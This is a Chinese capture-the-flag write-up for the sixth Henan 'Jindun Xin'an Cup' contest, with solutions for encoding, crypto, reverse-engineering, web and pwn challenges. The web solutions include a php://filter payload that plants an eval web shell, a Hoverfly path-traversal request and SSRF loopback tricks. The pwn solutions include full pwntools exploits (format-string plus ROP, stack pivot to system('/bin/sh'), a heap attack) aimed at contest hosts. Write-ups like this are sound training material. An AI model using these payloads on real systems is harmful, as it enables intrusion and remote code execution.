[TOC]

河南省第六届“金盾信安杯”网络与数据安全大赛writeup

解题情况

2

解题过程

题目一 大赛宗旨

操作内容:

文本,直接想到零宽隐写,得到base64

3

解码得到flag

4

flag值:

1
flag{5d5555fa-1303-4b43-8eef-d6ea7c64c361}

题目二 esab

操作内容:

题目名字是base的逆序,下载得到

1
RcBg1cNg9oFgpkdkNodoVoxkhsxsJoxk9kFkBoFglkFghktkxoxc9cFkls5kNodoBoNotg5klcxclgVgZ8BkdklkhkpgBo9o9cFkRopkxgpkdkpkdklcpgFgRoZoVodk5gpktgRg1sFkdk1k9spgdcxk1sBcpktkBc1sdkdoJodsBslotc1sBsxkJgxsBoloBk5ctghk9opgRoFgJoBg5cdo9cFg5c9oVoxsFsBgJgxoxk5oBcpklg5o1kVgdkFgBs9gRoloJ8ZoNoRgpslkVopk

反转一下

然后base62

1
VnUvMlo+emByJSNPaEV9aXhKIzxnb1J2c1IkJmFbTG1YeixKXyp7eyskcSp9WV9pX3FrPSZpMGVASnomJF5SVSVHVmZ2biFTUSY/NE85QGliclQuZ28hWTJUJiZRXkxtXnclSVJbL0I=

再base64

1
[Vu/2Z\>z\`r%#OhE}ixJ#\<goRvsR\$&a\[LmXz,J\_\*{{+\$q\*}Y_i_qk=&i0e@Jz&\$^RU%GVfvn!SQ&?4O9@ibrT.go!Y2T&&Q^Lm^w%IR\[/B](mailto:Vu/2Z>z`r%#OhE}ixJ#<goRvsR$&a[LmXz,J_*{{+$q*}Y_i_qk=&i0e@Jz&$^RU%GVfvn!SQ&?4O9@ibrT.go!Y2T&&Q^Lm^w%IR[/B)

Base91

5

再base62

7

flag值:

1
flag{634285be-e7f0-9f0a-fb90-8da3a27fce06}

题目三ezpng

操作内容:

文本是一个base64

7
base64解码得到一个密码

8

图片文件的010内容很明显不是图片

拿着这个密码cimbar 去异或图片文件,得到真正的png图片

9

下载下来,然后我搜这个cimbar搜到了一种传输数据的方式,10

而且这个图片明显是被这种加密的11

在github上找到了这个项目https://github.com/sz3/cimbar

python -m cimbar.cimbar download.png –output=myoutputfile.txt

12

13

14

得到的txt拉出来打开一看是hex,解码得到flag

flag值:

1
flag{c06ff653-d96e-4c59-9667-655a8a18862e}

题目四so far so good

操作内容:

之前做流量分析存的有脚本

考的还是USB流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import pyshark
from collections import defaultdict
from Crypto.Cipher import ChaCha20
import sys

KEYSET = 0x74
NONCESET = 0x11
STORE = 0xC1
RESET = 0xB8
ACK = 0x14
ERROR = 0xFF

streams = defaultdict(lambda: b"")
cap = pyshark.FileCapture(f"dump.pcapng")

for p in cap:
try:
i = int(p.tcp.stream)
streams[i] += bytes.fromhex(p.data.data)
except:
pass
cap.close()

stream = streams[0]

kidxs = [i for i, x in enumerate(stream) if x == KEYSET]
nidxs = [i for i, x in enumerate(stream) if x == NONCESET]
print(f'{kidxs = }')
print(f'{nidxs = }')


def read():
global stream
s = stream[0]
stream = stream[1:]
return s

class Message():
def __init__(self) -> None:
self.code = None
self.param = None
self.len = None
self.data = None

def read(self):
self.code = read()
self.param = read()
self.len = read()
self.data = []
for i in range(self.len):
self.data.append(read())

def handle(self):
global KEY, IV, cipher, keyset, nonceset, cipherset
match self.code:
case KEYSET:
for i in range(32):
KEY[i] = self.data[i]
keyset = True
cipherset = False
case NONCESET:
for i in range(8):
IV[i] = self.data[i]
nonceset = True
cipherset = False
case STORE:
if not keyset or not nonceset:
return
if not cipherset:
cipherset = True
cipher = ChaCha20.new(key=bytes(KEY), nonce=bytes(IV))
dec = cipher.decrypt(bytes(self.data))
for i in range(self.len):
FLAG[10 * self.param + i] = dec[i]
if -1 not in FLAG:
print(bytes(FLAG))
return True
case RESET:
KEY = [0] * 32
IV = [0] * 8
keyset = False
nonceset = False
cipherset = False

_stream = stream[:]
for ki in kidxs:
for ni in nidxs:
if ki > ni:
continue

print('key index:', ki, '\tnonce index:', ni)

KEY = [-1] * 32
IV = [-1] * 8
FLAG = [-1] * 40
keyset = False
nonceset = False
cipherset = False
cipher = None

try:
stream = stream[ki:]
m = Message()
m.read()
m.handle()

stream = stream[ni-ki-35:]
m = Message()
m.read()
m.handle()

while len(stream)>0:
ni = stream.index(NONCESET) if NONCESET in stream else 99999
si = stream.index(STORE) if STORE in stream else 99999
next_idx = min([ni, si])
stream = stream[next_idx:]
m = Message()
m.read()
if m.handle():
break
except:
print('Exception')
pass
stream = _stream[:]
```

flag值:

1
flag{0h_usb_0v3r_1p_i5_s0_c00l_567c08e6}

题目五fillllll_put

操作内容:

伪协议死亡绕过,做太多遍了

https://www.freebuf.com/articles/web/266565.html

Paylaod:?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==然后去1.php下面执行命令即可

15

16

flag值:

1
flag{422a067f-644c-428c-b476-dde9140cd251}

题目六hoverfly

操作内容:

打开查看到版本,去搜搜这个有没有历史漏洞,一搜有个任意文件读取

https://www.freebuf.com/vuls/412747.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/v2/simulation HTTP/1.1  
Host: 114.55.67.167:52691
Accept: application/json, text/plain, \*/\*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://114.55.67.167:52691/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":\[{
"request":{},"response": {
"bodyFile": "../../../../../tmp/fa1g"}} \]},"meta":{"schemaVersion":"v5.2"}}

构造请求包

http://114.55.67.167:52691/

Flag在tmp目录下的fa1g(找了好久)

后面我才想起来假的flag有提示两个字母换了位置,但是居然还有数字替换

17

flag值:

1
flag{785a4871-5a1d-4213-a007-5b78df2ac781}

题目七SSRF

操作内容:

题目都说了是ssrf,我猜的是访问本地127.0.0.1然后找flag,在ctfshow上做了很多遍了

我尝试了几个payload没成功

http://127.0.0.1/flag.php

http://2130706433/flag.php

应该是过滤了0还是什么的

本质是访问本地回环地址 这题找个a记录是127.0.0.1的域名即可

http://sudo.cc/flag.php

拿一血纯属运气好

18

flag值:

1
flag{3e46c857-a204-4dd1-bf92-a95c9796ca87}

题目八Madoka Runes

操作内容:

题目名字就是password图片的解密

魔女文字

https://magireco.moe/wiki/%E9%AD%94%E5%A5%B3%E6%96%87%E5%AD%97

对照一下ctf951zhen

打开压缩包

19

flag值:

1
flag{f393e6c7-b150-6ecd-0458-c8f38363cb3e

题目九ezrsa

操作内容:

下载一看考察中国剩余定理的

Exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *
from sympy import mod_inverse
import gmpy2
from Crypto.Util.Padding import unpad

def chinese_remainder_theorem(n_list, c_list):
    N = 1
    for n in n_list:
        N *= n

    total = 0
    for n, c in zip(n_list, c_list):
        Ni = N // n
        xi = mod_inverse(Ni, n)
        total += c * Ni * xi

    return total % N

def decrypt_message(n_list, c_list, e):
    combined_c = chinese_remainder_theorem(n_list, c_list)
   
    m = gmpy2.iroot(combined_c, e)[0]

    m = long_to_bytes(int(m))
   
    unpadded_m = unpad(m, 64)
   
    return unpadded_m

n_list = [66713068295640123413518043679913370923560077389016834699625591280879282047385580519245403302207114741281472997841541531287076973224279941649021535158376552494753299204575589142430284284245902413434936761821799053759034189893017134579658955719886273361722719112743586542747088480330917580156612938839250815003, 93220359729942518400923319353609855683086052837300675001244736571202233288801372553449408397689671981434057617518899402068905085286369656470335384345232065925153852793862944459424133537991621353691699611625715366974136180583843591508153614052037629606307298558367556655731098521869053032772401730403014449411, 52202773445480937424957100107218762961120283036868010272682251953657674323304499771956016361962421205773156515507563827756643249104742340232742821376488784769891503342865868526919624818397054897905012127075859262952310097157907061344025347963650086443568680953905161157142612464840961117362620801749842408879, 82553091456291336768427636001211333148350777177895589619884526855175557207820633168970479619932906390584318202289854140553376548714411052752572009881543144730480476077880021537960949338405404958761168462246680451456125133754632997631949332320326017613289694983606666716680033606392964861804003584352680590087, 126128435524890593300334615443194513842505260782298991058088278168395895439505633982038040121402360495508323195308297803504735565186008100115370181050483351447644843345197960248620729714988601407534725902209206970706208957109895421381133644050169949239120391954419828419646235622192096983089233429399798724487, 147720770377839100046936497325485136233566856174851147500154290566277684557076944335857851098373121814105829685203159352831436378953250080092174133899668012220790232079503109510689810335337728388773927584457619779716463492595401880008310538176873629037401466975901825628623051950211929925214837578332196553599, 124745293442434036385822462573709029035838193243455140374004343372128515081182349880050066834995439331895246886612935567956942945644079345244280145073777541185777585728280312507028128615465026099188525829472122192943136139654002445255523350717509722226068753864376920017221041478273347340655965581264836805623, 64656553220163718805421487264999277997892395292051840710229549012813342103500529051439814363514417257605481961558538034337044004386537267801729555014122714842391331402276971310101298482954289819202770742743469979203276082437481909854637859797102334245371638799858873873188431752871644960079701293335747461831, 154462961163638672730309927702785192434305799838715175474990142746477464921396636812042793324143787346439455100764604617253217478519575381751036655163922606997960615852053060424250051534473828208356751768540768480213916080575159287230278791786807130716553816283037177870759790969384364642653232602468977815247]

c_list = [51005516677417731886422613156402193350848583130533301906631992184482032048070107769818228079761720652832901023407822071655421580929907698799917933792960386846321370913559830272810379334182054783031538600198349058002169866824222330811827319616021940546950576540874306599558331332151055146737648080935494708588, 2041821123943473753926018035036127142293912801344695164334852819344638501433889053269955640381265246796708182948891351463478165192547358805280444112021688736247730161578747136357928895397269414940719487328949498438102882593196857341527917555021413367950508316840335830689597383465186358872674808025884021885, 46039089253322895811415983657459035212735944272443483136853555344667290454119007801590490041259097151897732463907281406082335077604849132078446981231884370863820232336507275455767858612185246444188147542289218495584026583448273138219905723711108672612950627623799697592779175874022447423932452148543363787640, 2141453012108157552120303062697739340853570994155675106097651019594420129141220901608419609082415135997293880005773756263389204887711558521855045106895075772213924319456997007171536138494274692890230609458290192980986669338031109788977632895632700245278069147479684426240615061064967367694067860411487423629, 76749087885794868408562971424611464076430009398548197992247726105066117869497135062312665153772469258809032481701272674637826659858835954148415069808346193613807990801293969464455284990574537791095652240744633974209776335844454832745233667455060558077310143770445403006416969005307667369727581132297960295340, 129889778177138425060084420953465203875702152174072537346221842914157406769944362646320734563342499686995626438417203633387851527307925692308799272755919745234368065011417961931673684360135410907645818314090652813758836919104618375252457260402923145245889643621469138808848260838951643210609251572858120327495, 108052613612357352725536091796067255652024419037660964052217185481829734452037779785712215364053116702484384622526267250489021108209478623969497489177944680864365447787229766222546592710250224997176901299205943666999952675444279695627743788911406784072960143874125846847184624670127441248507191247442198460789, 25928340017378545972137564258602345053659415847643859318668245604506696128407382577187489651429812610536514435867501876671515838666597930094267436053423009057513573482499095162969953109513790712156495250568946074742211364960292725805474100283556046328318406696121063618778241916883747109525050277568846023327, 5719067069866090256610955425807298842117899833885283417646439095103501424652337751644977233509637214830422145008935269688470956058326551761160898415661754588089616594231873985715403389476818739027591464587460581924534479591703919621116231727841975375866296368110957023963777324175359081722392018178256892283]

e = 9  

flag = decrypt_message(n_list, c_list, e)
print("Decrypted flag:", flag.decode())

20

flag值:

1
flag{25f028f3-5362-4d1d-ab16-ae65503e447f}

题目十babyre

操作内容:

ida32反编译

21

32位还分两个加密

22

两段SMC

前16位高低转换然后tea加密

后16先替换再交换

Exp第一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdlib.h>
#include <stdbool.h>
#include <stdio.h>

void decrypt(uint32_t* v, uint32_t* key) {
uint32_t sum = 0 - 32 * 0x61C88647;
uint32_t v0 = v[0], v1 = v[1];

for (int i = 0; i < 32; i++) {
v1 -= ((v0 >> 5) + key[3]) ^ (v0 + sum) ^ ((v0 << 4) + key[2]);
v0 -= ((v1 >> 5) + key[1]) ^ (v1 + sum) ^ ((v1 << 4) + key[0]);
sum += 0x61C88647;
}

v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t key[4] = {
0x00001266, 0x00003404, 0x0000562A, 0x000078C2
};

uint32_t encrypted_data[4] = { 0x369A1583, 0x009A9E6D, 0xBE761C60, 0x3ED644A0 };

// Decrypt the first pair of 32-bit words
decrypt(encrypted_data, key);

// Decrypt the second pair of 32-bit words
decrypt(encrypted_data + 2, key);

// Print the decrypted data as characters
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; j++) {
printf("%c", (encrypted_data[i] >> (8 * (3 - j))) & 0xff);
}
}

return 0;
}
encrypted_data = [0x64716A51, 0x6C49686C, 0x546C4F64, 0x6C21217D]

byte_array = [0] * 16

for i in range(4):
    byte_array[4 * i] = (encrypted_data[i] >> 24) & 0xFF
    byte_array[4 * i + 1] = (encrypted_data[i] >> 16) & 0xFF
    byte_array[4 * i + 2] = (encrypted_data[i] >> 8) & 0xFF
    byte_array[4 * i + 3] = encrypted_data[i] & 0xFF

for i in range(16):
    for j in range(0x20, 0x80):
        if j < 0x41 or j > 0x5A:
            if j < 0x61 or j > 0x7A:
                transformed_char = j
            else:
                transformed_char = (j + 3 - 0x61) % 26 + 0x61
        else:
            transformed_char = (j + 3 - 0x41) % 26 + 0x41
       
        if transformed_char == byte_array[i]:
            print(chr(j), end='')

print()


flag值:

1
flag{ZhuangBiWoRangNiFeiQiLai!!}

题目十一green

操作内容:

格式化字符串漏洞泄露地址,计算基地址和栈保护值,构造 ROP 链

23

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

exe = ELF("green")
context.binary = exe

offset = 0x1463

def establish_connection():
    if args.D:
        r = process("green")
        gdb.attach(r)
    else:

        r = remote("121.41.16.43", 54364)
    return r

def main():
    r = establish_connection()
   

    r.sendline(b"%11$p/%15$p")
    r.readuntil(b'luck.')
   

    leak = r.readuntil(b'/').strip()
    base_address = int(str(leak)[2:-2], 16) - 0x3fb4
    log.success(f"Base Address: {hex(base_address)}")
   
    canary = r.read().strip()
    canary_value = int(str(canary)[2:-1], 16)
    log.success(f"Canary Value: {hex(canary_value)}")
   

    exe.address = base_address
   

    rop = ROP(exe)
    rop.check1(0x1337)
    rop.check2(0x420)
    rop.check3(0xdeadbeef)
    rop.finalcheck(0x123)
   

    payload = b'A' * 32
    payload += p32(canary_value)
    payload += b'A' * 12
    payload += rop.chain()
   

    print(rop.dump())
   

    r.sendline(payload)
   

    r.interactive()

if __name__ == "__main__":
    main()


flag值:

1
flag{c6f3396244adadd3c53c49cf13ca864e}

题目十二stackmigration

操作内容:

栈溢出获取栈地址,构造包含 pop rdi gadget、栈地址、system 函数调用和字符串 “/bin/sh” 的 payload。

24

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
import base64
import sys

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0

if is_debug:
    process_handle = process('./stackmigration')
    elf = ELF('./stackmigration')
    libc = elf.libc
else:
    process_handle = remote('47.99.133.209', 54849)
    elf = ELF('./stackmigration')

def attach_gdb():
    gdb.attach(process_handle)
    pause()

send = lambda data: process_handle.send(data)
send_after = lambda text, data: process_handle.sendafter(text, data)
send_line = lambda data: process_handle.sendline(data)
send_line_after = lambda text, data: process_handle.sendlineafter(text, data)
recv = lambda num=4096: process_handle.recv(num)
recv_until = lambda text: process_handle.recvuntil(text)
print_recv = lambda num=4096: sys.stdout.write(process_handle.recv(num).decode())
interactive = lambda: process_handle.interactive()
recv_32 = lambda: u32(process_handle.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
recv_64 = lambda: u64(process_handle.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
recv_exact_32 = lambda: u32(process_handle.recv(4).ljust(4, b'\x00'))
recv_exact_64 = lambda: u64(process_handle.recv(6).ljust(8, b'\x00'))
int_from_hex = lambda data: int(data, 16)
log_success = lambda s, num: process_handle.success('%s -> 0x%x' % (s, num))

leak_address = 0x400896
pop_rdi_gadget = 0x0000000000400963
system_plt = elf.plt['system']

recv_until('0x')

stack_address = int_from_hex(process_handle.recv(12))
log_success('Stack Address', stack_address)

payload = (
    p64(pop_rdi_gadget) +  
    p64(stack_address + 0x18) +  
    p64(system_plt) +  
    b'/bin/sh\x00' +  
    p64(stack_address - 8) +  
    p64(leak_address)  
)

send_line(payload)

interactive()

flag值:

1
flag{9bfc04fc-f4dd8d28-77a0b2b6-24867e58}

题目十三orange

操作内容:

触发 UAF 漏洞,泄露 libc 地址,计算关键地址25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

is_remote = True
if is_remote:
    process_handle = remote('114.55.67.167', 50036)
else:
    process_handle = process("./Orange")

elf = ELF("./Orange")
libc = ELF("./libc-2.23.so")

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

def add(size, content):
    process_handle.sendlineafter("e>>", '1')
    process_handle.sendlineafter("size", str(size))
    process_handle.sendlineafter("note", content)

def edit(index, size, content):
    process_handle.sendlineafter("e>>", '2')
    process_handle.sendlineafter("ndex", str(index))
    process_handle.sendlineafter("size", str(size))
    process_handle.sendlineafter("note", content)

def show(index):
    process_handle.sendlineafter("e>>", '3')
    process_handle.sendlineafter("index", str(index))

add(0x70, b'a')  
add(0x70, b'a')  

edit(1, 0x88, b'a' * 0x78 + p64(0xf01))

add(0xf10, b'a')  
add(0x500, b'a' * 7)  

show(3)
leaked_libc = u64(process_handle.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leaked_libc - 0x3c5188
log.success(f"Libc Base Address: {hex(libc_base)}")

malloc_hook = libc_base + libc.sym['__malloc_hook']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
one_gadget1 = libc_base + 0x85ea0
one_gadget2 = libc_base + 0x85a70
exit_hook = malloc_hook + 0x22c438

add(0x9d0 - 0x10, b'a')  
add(0x40, b'a')  

edit(5, 0x100, b'a' * 0x48 + p64(0x91) + p64(malloc_hook - 0x1b - 8))

add(0x200, b'a')

edit(5, 0x100, b'a' * 0x48 + p64(0x71) + p64(malloc_hook - 0x1b - 8))

add(0x60, b'a')  
add(0x60, b'a' * 0x3 + p64(one_gadget1) + p64(one_gadget2) + p64(0x0400987))  # 堆块 9

process_handle.sendlineafter("e>>", '1')

process_handle.interactive()

flag值:

1
flag{7452803d-f868de57-9651234-2e000b1e}

题目十四easyre

操作内容:

找到程序这里能看出来应该是个变表base

26

27

有个对它异或的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
original_data = [
    0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47,
    0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x5F,
    0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57,
    0x56, 0x55, 0x6E, 0x6D, 0x6C, 0x6B, 0x6A, 0x69,
    0x68, 0x67, 0x66, 0x65, 0x64, 0x63, 0x62, 0x61,
    0x60, 0x7F, 0x7E, 0x7D, 0x7C, 0x7B, 0x7A, 0x79,
    0x78, 0x77, 0x76, 0x75, 0x3F, 0x3E, 0x3D, 0x3C,
    0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x24, 0x20
]

# 异或 0xF 并转换为字符表
decoded_table = ''.join(chr(byte ^ 0xF) for byte in original_data)

# 输出结果
print("Decoded Table:", decoded_table)

然后找到了第二处的RC4加密

28

0x134742是密钥

CYBERCHEF解密得到flag

flag值:

1
flag{2aed4771-b75048e3-db87779b-a3811911}

题目十五4door

操作内容:

RSA 模数 n 的构造特点,找到质数 p 和 q,并解密密文:

提取 n 的高 18 位和低 18 位:从 n 中提取高 18 位和低 18 位。

生成可能的 pq 值:通过暴力枚举 high 和 low 的不同组合,生成可能的 pq 值。

因式分解:对每一个猜测的 pq 进行因式分解,找到合适的 p 和 q。

验证 N:计算 N,验证 N 是否等于 n。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from Crypto.Util.number import long_to_bytes, inverse
from sympy import factorint
from tqdm import tqdm

def decrypt_rsa(ciphertext, public_exponent, p, q):
    """
    解密 RSA 密文。
    :param ciphertext: 密文
    :param public_exponent: 公钥指数 e
    :param p: 质数 p
    :param q: 质数 q
    :return: 解密后的明文
    """
    phi = (p - 1) * (q - 1)
    private_exponent = inverse(public_exponent, phi)
    plaintext = pow(ciphertext, private_exponent, p * q)
    return long_to_bytes(plaintext)

# 给定的 n 和 c
n = 23905475512365883122674408238955539155764722366217012545397874540862337334240016295800125839666379728072321165937705962913280606073090970895142797828890967895964711232778350747246145437063213797431406035930174111043042340520332940609525581739023092298039562772423262765827124701021969335352335683792731683921665507741401586702876932709526723050390599457874833474203654573826450071697539641600322677144352938390876652392608502272076553363040364616750658572691385895505437242478151873823349763431066100830530865683577851333177933883559685556857237139613218194081446956323024853443261620884805303981306446372802015044771639426999749528610475388861786694864415139994859276371131942573350304814695091460001587702769577342755316734174332921026422723617077752187651429392825613071820790930071213362634211053716954311368831862903499625111683201402526987572026698743470957191372997973386719129801283901357299485943586220652418988756989
ciphertext = 20290124145262596131171262098400968763029234061511934834222170323336352789493462981125252905144849253567410785045251291281965974162517541092753592621976991536420386296008923067690131499917309230770425673361420526278705677868350261448920451435130093572132312421788350025260541205230414987558889506859141578553149107724691009183251887162853495222266814426521607565821520571300280892509216229126792313714540405688099386257359428381050142559724638272785150430571010230291579795372462576424848672863369953788642729601376423815467431808384249324317160756723240875922680353619529182039048235291664132823541196629191203977620809650328092884416626985657394934834405937347004155818332568478234548850387649090494274601825700088378489565113317791020951975667943227729845304723849530630874343911522720043521661229624936713672517051272032637783376281256972132726759806237600969520741491040216491707848210629024308070724592683363625778406304

# 提取 n 的高 18 位和低 18 位
low = str(n)[-18:]  # n 的低 18 位
high = str(n)[:18]  # n 的高 18 位

# 生成可能的 pq 值
possible_pq = []

# 通过暴力枚举 high 部分与 low 部分拼接,猜测 pq
for i in range(100):  # 通过更多的范围尝试
    for j in range(100):  # 增加范围
        possible_pq.append(int(str(i) + high + low))
        possible_pq.append(int(str(i) + low + high))
        possible_pq.append(int(high + str(i) + low + str(j)))  # 增加不同拼接方式
        possible_pq.append(int(low + str(i) + high + str(j)))

# 对每一个猜测的 pq 进行因式分解
p, q = None, None
for x in tqdm(possible_pq):
    factors = factorint(x)
    print(f"Trying x = {x}, factors = {factors}")  # 打印尝试的值和因式分解结果
    # 使用 .bit_length() 来检查质数的位数
    if len(factors) == 2 and list(factors.keys())[0].bit_length() == 64:  # 确保因式是 64 位质数
        p, q = list(factors.keys())
        break

# 检查 p 和 q 是否已被赋值
if p is None or q is None:
    raise ValueError("未能成功找到 p 和 q!")

# 计算 P 和 Q
P = int(str(p) + str(q))
Q = int(str(q) + str(p))

# 验证 N 是否正确
N = P * Q
print(f"n == N: {N == n}")  # 输出 n 是否匹配

# 解密
decrypted_flag = decrypt_rsa(ciphertext, 65537, P, Q)
print(decrypted_flag.decode('utf-8'))

flag值:

1
flag{5c5ef02c-0c50-44d3-9e46-49fa6b4801ab}